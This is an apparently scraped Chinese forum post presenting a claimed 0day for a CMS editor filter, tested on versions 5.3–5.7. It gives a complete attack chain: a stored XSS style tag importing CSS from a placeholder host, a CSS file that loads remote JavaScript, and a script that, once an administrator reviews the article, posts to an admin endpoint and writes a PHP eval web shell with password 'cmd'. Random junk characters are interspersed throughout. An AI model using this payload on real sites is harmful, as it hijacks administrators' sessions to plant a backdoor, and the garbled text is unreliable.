<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell1 k4 j& o* x" v- b6 x* J
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)5 r& q1 Y, h* x! {5 v0 M2 W
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。) o+ t3 D2 Q+ c* h+ a* |
下面说说利用方法。* Z; o$ g7 S q
条件有2个:
# D/ n% F7 _ h6 J& C& W, C1.开启注册 T3 }7 h1 _5 W1 ?
2.开启投稿
) Y$ E1 |) P- n/ V q注册会员----发表文章
% I1 c& z; o' S8 F6 C内容填写:% `' H* k; J- k1 Q! u8 U
复制代码3 c2 z5 H$ A/ @& ?0 R
<style>@im\port'\http://xxx.com/xss.css';</style>% f/ U7 K c2 C% Y7 L' Q i. ^2 U0 O! L
新建XSS.Css
3 ^8 N5 W' {% Y x7 T4 e复制代码
; [# v8 `; _. C+ A' r+ q: {.body{& ^0 k, A' `: H# A' B
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }+ V7 p/ Q3 Q9 Y) v
新建xss.js 内容为
3 O4 c9 E$ _) `% {# h% g% J复制代码
$ B8 t, D: U" W1.var request = false;. g7 l4 ?! ^/ m
2.if(window.XMLHttpRequest) {3 C2 K% g* S; M$ R. K2 a
3.request = new XMLHttpRequest();
. W- I i( N4 w3 w4.if(request.overrideMimeType) {' S2 q4 g; V. L* ~5 q- p
5.request.overrideMimeType('text/xml');5 [, S H/ s9 R5 p' n* \- [
6.}
- c5 a2 o4 A0 R3 k7.} else if(window.ActiveXObject) {! }2 B* u6 J3 C+ {7 k: s% w
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];. o. R) f$ y i! }8 e8 l
9.for(var i=0; i<versions.length; i++) {; B8 m7 k2 i$ ]+ g
10.try {6 J9 j0 G8 ^ X* D5 w
11.request = new ActiveXObject(versions);
, I. L/ n* g0 U# j& ~2 R, w12.} catch(e) {}( T: N; Q+ a4 P! \) s
13.}
+ E: y% f# l3 q/ g" y14.}
8 }4 C( Y) D% F* i5 L. Q, s: E15.xmlhttp=request;
& k, k+ J" S @. B16.function getFolder( url ){& [$ \ [% I! t- T1 i5 K7 H/ w/ t
17. obj = url.split('/')( A: c! e6 X- s/ Z8 R$ \
18. return obj[obj.length-2]$ r5 m$ b; K% w' o4 y; c, i K& U( H
19.}$ a4 W* _) k- q9 V( u p4 l9 C
20.oUrl = top.location.href;( H! q& S& F( g' Z, |+ k3 b/ n
21.u = getFolder(oUrl);' y3 I; f' ]- y3 g6 H
22.add_admin();: n6 x, W6 {3 `! I6 q3 V; q, Z
23.function add_admin(){+ M. W9 x0 y4 E
24.var url= "/"+u+"/sys_sql_query.php";/ z D1 y( d' a
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
% C3 b) f, O) ?0 l$ n26.xmlhttp.open("POST", url, true);
* ^( g; L9 L9 K27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
6 C$ L; ?' o1 m5 |28.xmlhttp.setRequestHeader("Content-length", params.length);! q" m; s1 {- r3 O/ J
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");6 n( G5 B7 h0 E% Y/ f2 F' w( _
30.xmlhttp.send(params);
i. U0 P- c, C$ f) F+ K1 E31.}
, P/ k7 O) h) t0 v& r# x当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |